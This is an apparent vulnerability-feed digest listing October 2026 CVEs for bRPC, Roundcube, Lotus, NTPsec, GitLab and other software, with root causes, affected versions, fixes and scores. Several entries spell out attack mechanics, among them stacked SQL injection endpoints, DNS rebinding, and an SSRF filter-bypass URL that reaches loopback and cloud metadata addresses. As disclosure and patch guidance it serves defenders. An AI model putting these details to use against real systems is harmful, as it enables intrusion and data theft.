1. Upgrade Apache bRPC to version 1.18.0, which fixes this issue.
2. Apply this patch:  https://github.com/apache/brpc/pull/3325 

Note:
The fix validates that a padded DATA frame has enough payload bytes for the pad length field before decrementing the fragment size or reading the pad length byte. Malformed zero-length padded DATA frames are rejected with HTTP/2 FRAME_SIZE_ERROR.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56386).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56386&date=2026-10-25).
Sources:
NVD CVE-2026-56386: https://nvd.nist.gov/vuln/detail/CVE-2026-56386
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56386&date=2026-10-25
Integer underflow and out-of-bounds read in the HTTP/2 server DATA frame parser in Apache bRPC allows an unauthenticated remote attacker to cause denial of service by sending a malformed DATA frame with the PADDED flag set and a zero-length payload.

Root Cause:
The HTTP/2 DATA frame handler computed the fragment size from the attacker-controlled payload length and, when the PADDED flag was present, decremented the fragment size before ensuring that the frame contained the mandatory pad length byte. A zero-length padded DATA frame could therefore underflow the unsigned fragment size and read the pad length byte past the end of the frame buffer.

Affected Scenarios:
Apache bRPC servers that accept HTTP/2 traffic are affected when a remote client can send crafted HTTP/2 frames to the server. HTTP/2 may be reached through cleartext h2c detection on an HTTP port or through TLS ALPN negotiation.

How to Fix:
(Choose one of the following options)
1. Upgrade Apache bRPC to version 1.18.0, which fixes this issue.
2. Apply this patch:  https://github.com/apache/brpc/pull/3325 

Note:
The fix validates that a padded DATA frame has enough payload bytes for the pad length field before decrementing the fragment size or reading the pad length byte. Malformed zero-length padded DATA frames are rejected with HTTP/2 FRAME_SIZE_ERROR.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested...
https://kevwire.com/record/CVE-2026-82230
Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested... (Oct 21, 2026).
Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested mcpack data.

Root Cause:
The bRPC mcpack2pb parser (used to serve nshead_mcpack / ubrpc / public_pbrpc requests) recursively parses nested objects and arrays without any depth limit. For a protobuf message that references itself (e.g. a repeated message field), the generated parser recurses once per nesting level of the incoming mcpack object. A deeply nested request makes the recursion grow unbounded, overflow the stack and crash the process.

Affected Scenarios:
Use bRPC server with a recursive-schema protobuf message to serve nshead_mcpack / ubrpc / public_pbrpc requests from untrusted network.

How to Fix:
(Choose one of the following options)
1. Upgrade bRPC to version 1.18.0, which fixes this issue.
2. Apply this patch: https://github.com/apache/brpc/pull/3499

Note:
No matter which option you choose, you should know that the fix enforces the documented parsing depth limit MAX_DEPTH (128) on the parse path, the same limit the serializer already applies. If your requests contain mcpack messages nested deeper than 128 levels, the request will be failed after applying the fix.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82230).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82230&date=2026-10-25).
Sources:
NVD CVE-2026-82230: https://nvd.nist.gov/vuln/detail/CVE-2026-82230
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82230&date=2026-10-25
Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested mcpack data.

Root Cause:
The bRPC mcpack2pb parser (used to serve nshead_mcpack / ubrpc / public_pbrpc requests) recursively parses nested objects and arrays without any depth limit. For a protobuf message that references itself (e.g. a repeated message field), the generated parser recurses once per nesting level of the incoming mcpack object. A deeply nested request makes the recursion grow unbounded, overflow the stack and crash the process.

Affected Scenarios:
Use bRPC server with a recursive-schema protobuf message to serve nshead_mcpack / ubrpc / public_pbrpc requests from untrusted network.

How to Fix:
(Choose one of the following options)
1. Upgrade bRPC to version 1.18.0, which fixes this issue.
2. Apply this patch: https://github.com/apache/brpc/pull/3499

Note:
No matter which option you choose, you should know that the fix enforces the documented parsing depth limit MAX_DEPTH (128) on the parse path, the same limit the serializer already applies. If your requests contain mcpack messages nested deeper than 128 levels, the request will be failed after applying the fix.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation.
https://kevwire.com/record/CVE-2026-96365
Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation. (Oct 22, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96365).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96365&date=2026-10-25).
Sources:
NVD CVE-2026-96365: https://nvd.nist.gov/vuln/detail/CVE-2026-96365
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96365&date=2026-10-25
Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images.
https://kevwire.com/record/CVE-2026-114112
Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images. (Oct 21, 2026).
Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images. Attackers can submit malicious AVIF/HEIF input to applications processing untrusted images with sharp, triggering libheif decoding flaws to execute code.
CVSS 8.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114112).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114112&date=2026-10-25).
Sources:
NVD CVE-2026-114112: https://nvd.nist.gov/vuln/detail/CVE-2026-114112
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114112&date=2026-10-25
Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images. Attackers can submit malicious AVIF/HEIF input to applications processing untrusted images with sharp, triggering libheif decoding flaws to execute code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric...
https://kevwire.com/record/CVE-2026-115330
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric... (Oct 22, 2026).
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric queries. Attackers can submit semicolon-separated SQL through POST /app/metrics/, bypassing first-statement-only validation, to read or modify data across all tenants.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115330).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115330&date=2026-10-25).
Sources:
NVD CVE-2026-115330: https://nvd.nist.gov/vuln/detail/CVE-2026-115330
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115330&date=2026-10-25
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric queries. Attackers can submit semicolon-separated SQL through POST /app/metrics/, bypassing first-statement-only validation, to read or modify data across all tenants.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or...
https://kevwire.com/record/CVE-2026-115331
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or... (Oct 22, 2026).
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or categorical filter values. Attackers can embed SQL in values rendered unescaped into Jinja-generated counter, gauge and rate metric queries to access the database shared by all tenants.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115331).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115331&date=2026-10-25).
Sources:
NVD CVE-2026-115331: https://nvd.nist.gov/vuln/detail/CVE-2026-115331
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115331&date=2026-10-25
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or categorical filter values. Attackers can embed SQL in values rendered unescaped into Jinja-generated counter, gauge and rate metric queries to access the database shared by all tenants.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass...
https://kevwire.com/record/CVE-2026-115332
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass... (Oct 22, 2026).
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass keyword-only validation. Attackers can create subscriptions using the malicious key, which is rendered as an unquoted group-by identifier, to inject SQL into usage aggregation queries against the shared multi-tenant database.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115332).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115332&date=2026-10-25).
Sources:
NVD CVE-2026-115332: https://nvd.nist.gov/vuln/detail/CVE-2026-115332
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115332&date=2026-10-25
Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass keyword-only validation. Attackers can create subscriptions using the malicious key, which is rendered as an unquoted group-by identifier, to inject SQL into usage aggregation queries against the shared multi-tenant database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its...
https://kevwire.com/record/CVE-2026-115334
Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its... (Oct 22, 2026).
Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its UUID. Self-registered attackers who know another organization's UUID can send a POST request to /app/switch_organization/ to access that tenant's data and billing configuration.
CVSS 7.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115334).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115334&date=2026-10-25).
Sources:
NVD CVE-2026-115334: https://nvd.nist.gov/vuln/detail/CVE-2026-115334
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115334&date=2026-10-25
Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its UUID. Self-registered attackers who know another organization's UUID can send a POST request to /app/switch_organization/ to access that tenant's data and billing configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server.
https://kevwire.com/record/CVE-2026-113728
Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server. (Oct 20, 2026).
Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server. Prior to 1.9.2, the unauthenticated POST /api/fetch-ical endpoint validates a caller-supplied hostname with one DNS lookup and then passes the URL to fetch, which performs a separate lookup for the socket connection. An attacker controlling authoritative DNS can return a public address during validation and then rebind the hostname to a loopback, private, link-local, or cloud metadata address for the connection, causing the server to return up to 10 MB of an internal HTTP or HTTPS response. The same check-then-fetch pattern also existed in authenticated JMAP login and TOTP token-exchange flows. This issue is fixed in version 1.9.2.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113728).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113728&date=2026-10-25).
Sources:
NVD CVE-2026-113728: https://nvd.nist.gov/vuln/detail/CVE-2026-113728
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113728&date=2026-10-25
Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server. Prior to 1.9.2, the unauthenticated POST /api/fetch-ical endpoint validates a caller-supplied hostname with one DNS lookup and then passes the URL to fetch, which performs a separate lookup for the socket connection. An attacker controlling authoritative DNS can return a public address during validation and then rebind the hostname to a loopback, private, link-local, or cloud metadata address for the connection, causing the server to return up to 10 MB of an internal HTTP or HTTPS response. The same check-then-fetch pattern also existed in authenticated JMAP login and TOTP token-exchange flows. This issue is fixed in version 1.9.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize().
https://kevwire.com/record/CVE-2026-114724
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize(). (Oct 22, 2026).
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize(). A session key prefixed with “!” was treated as having no value, and the reconstructed serialized string was emitted with a key but no corresponding value, desynchronizing the remainder of the input so that following session data was interpreted as a serialized value. This yields a PHP object injection primitive for an attacker able to influence stored session data. Upstream fixed this in the commit “Fix object injection primitive in rcube_session::unserialize() via “!”-prefixed session keys”, which rejects such keys.
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114724).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114724&date=2026-10-25).
Sources:
NVD CVE-2026-114724: https://nvd.nist.gov/vuln/detail/CVE-2026-114724
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114724&date=2026-10-25
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 contains an object injection primitive in rcube_session::unserialize(). A session key prefixed with “!” was treated as having no value, and the reconstructed serialized string was emitted with a key but no corresponding value, desynchronizing the remainder of the input so that following session data was interpreted as a serialized value. This yields a PHP object injection primitive for an attacker able to influence stored session data. Upstream fixed this in the commit “Fix object injection primitive in rcube_session::unserialize() via “!”-prefixed session keys”, which rejects such keys.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images.
https://kevwire.com/record/CVE-2026-114727
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images. (Oct 22, 2026).
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images. SVG and EPS were accepted as valid image types for contact photo upload and conversion, and both formats can reference external resources and invoke ImageMagick delegates when processed. Upstream fixed this in the commit “Fix passing potentally unsafe attachment content into ImageMagick on image resize”, which removes svg and eps from the accepted types.
CVSS 8.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114727).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114727&date=2026-10-25).
Sources:
NVD CVE-2026-114727: https://nvd.nist.gov/vuln/detail/CVE-2026-114727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114727&date=2026-10-25
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images. SVG and EPS were accepted as valid image types for contact photo upload and conversion, and both formats can reference external resources and invoke ImageMagick delegates when processed. Upstream fixed this in the commit “Fix passing potentally unsafe attachment content into ImageMagick on image resize”, which removes svg and eps from the accepted types.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass.
https://kevwire.com/record/CVE-2026-114730
Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass. (Oct 22, 2026).
Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass. The network blocklist used by rcube_utils::is_local_url() omitted the RFC 6052 NAT64 prefix 64:ff9b::/96, the RFC 8215 local-use NAT64 prefix 64:ff9b:1::/48 and the unspecified address ::/128, so URLs such as http://[64:ff9b::7f00:1]/ passed the filter and reached loopback, link-local and cloud metadata addresses. Upstream fixed this in the commit “Fix SSRF filter (is_local_url()) bypass via NAT64 64:ff9b::/96”.
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114730).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114730&date=2026-10-25).
Sources:
NVD CVE-2026-114730: https://nvd.nist.gov/vuln/detail/CVE-2026-114730
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114730&date=2026-10-25
Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass. The network blocklist used by rcube_utils::is_local_url() omitted the RFC 6052 NAT64 prefix 64:ff9b::/96, the RFC 8215 local-use NAT64 prefix 64:ff9b:1::/48 and the unspecified address ::/128, so URLs such as http://[64:ff9b::7f00:1]/ passed the filter and reached loopback, link-local and cloud metadata addresses. Upstream fixed this in the commit “Fix SSRF filter (is_local_url()) bypass via NAT64 64:ff9b::/96”.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields.
https://kevwire.com/record/CVE-2026-102483
Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields. (Oct 21, 2026).
Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102483).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102483&date=2026-10-25).
Sources:
NVD CVE-2026-102483: https://nvd.nist.gov/vuln/detail/CVE-2026-102483
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102483&date=2026-10-25
Reachable exit in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to terminate the daemon via an NTS request with excess NTS Cookie Placeholder extension fields.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension...
https://kevwire.com/record/CVE-2026-102486
Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension... (Oct 21, 2026).
Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension Fields (AEEF) field with an oversized nonce length.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102486).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102486&date=2026-10-25).
Sources:
NVD CVE-2026-102486: https://nvd.nist.gov/vuln/detail/CVE-2026-102486
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102486&date=2026-10-25
Out-of-bounds read in NTS extension field parsing in NTPsec ntpd 1.1.4 through 1.2.5 allows a remote attacker to crash the daemon via an NTS Authenticator and Encrypted Extension Fields (AEEF) field with an oversized nonce length.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET...
https://kevwire.com/record/CVE-2026-103090
Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET... (Oct 21, 2026).
Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET /enroll/status in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow an unauthenticated remote attacker to retrieve an approved bootstrap-enrolled peer's signed Biscuit identity token by supplying a peer_id obtainable from the unauthenticated GET /info endpoint. A related flaw in POST /enroll allowed any bootstrap-token holder to re-fetch another peer's credential. An attacker can replay the disclosed Biscuit token as a bearer credential on /policies to read mesh authorization policies and on /routers/lease to overwrite advertised router multiaddrs. Users should upgrade to version 0.1.0-alpha.9 or later, which requires cryptographic proof of possession of the enrollment private key on credential-releasing endpoints, enforces rate limiting, and validates router lease addresses.
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103090).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103090&date=2026-10-25).
Sources:
NVD CVE-2026-103090: https://nvd.nist.gov/vuln/detail/CVE-2026-103090
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103090&date=2026-10-25
Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET /enroll/status in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow an unauthenticated remote attacker to retrieve an approved bootstrap-enrolled peer's signed Biscuit identity token by supplying a peer_id obtainable from the unauthenticated GET /info endpoint. A related flaw in POST /enroll allowed any bootstrap-token holder to re-fetch another peer's credential. An attacker can replay the disclosed Biscuit token as a bearer credential on /policies to read mesh authorization policies and on /routers/lease to overwrite advertised router multiaddrs. Users should upgrade to version 0.1.0-alpha.9 or later, which requires cryptographic proof of possession of the enrollment private key on credential-releasing endpoints, enforces rate limiting, and validates router lease addresses.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an...
https://kevwire.com/record/CVE-2026-112212
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an... (Oct 22, 2026).
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, an unauthenticated user could have poisoned a shared cache's OAuth/OIDC discovery document to redirect certain flows to an externally controlled server, due to improper trust of user-supplied values when constructing endpoint URLs in cached discovery responses.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112212).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112212&date=2026-10-25).
Sources:
NVD CVE-2026-112212: https://nvd.nist.gov/vuln/detail/CVE-2026-112212
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112212&date=2026-10-25
